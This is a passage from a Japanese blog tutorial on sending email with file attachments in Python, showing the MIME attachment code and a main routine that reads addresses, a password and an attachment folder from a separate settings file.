'Content-Disposition', 'attachment',
filename = file_name
)
msg.attach(attachment)

ここでは添付ファイルでコンテンツを追加する処理をしています。
'attachment'を指定しないと本文として追加されます。
msg.attach(attachment)ではMIMEオブジェクトに添付ファイルを追加しています。

if __name__ == '__main__':
    from_addr = info.FROM_ADDRESS
    to_addr = info.TO_ADDRESS
    cc_addrs = info.CC
    bcc_addrs = info.BCC
    subject = info.SUBJECT
    body = info.BODY
    password = info.PASSWORD
    attach_dir = info.ATTACH_DIR

    msg = create_message(from_addr, to_addr, cc_addrs, bcc_addrs, subject)
    add_text(msg, body)
    attach_file(msg, attach_dir)
    send_mail(from_addr, to_addr, password, msg)

最後にメイン処理ですが、これはそのまま各関数を呼び出しているだけです。
info.hogeというのは私が別ファイルでそれらの情報を管理しているだけで、普通にfrom_addr = 'from@example.com'としていただいて大丈夫です。
これでpythonでメールを送ることができます。

まとめ

プログラムからメールが送信できるようになったので、それを利用してアラート的に使ってみようかなと思います。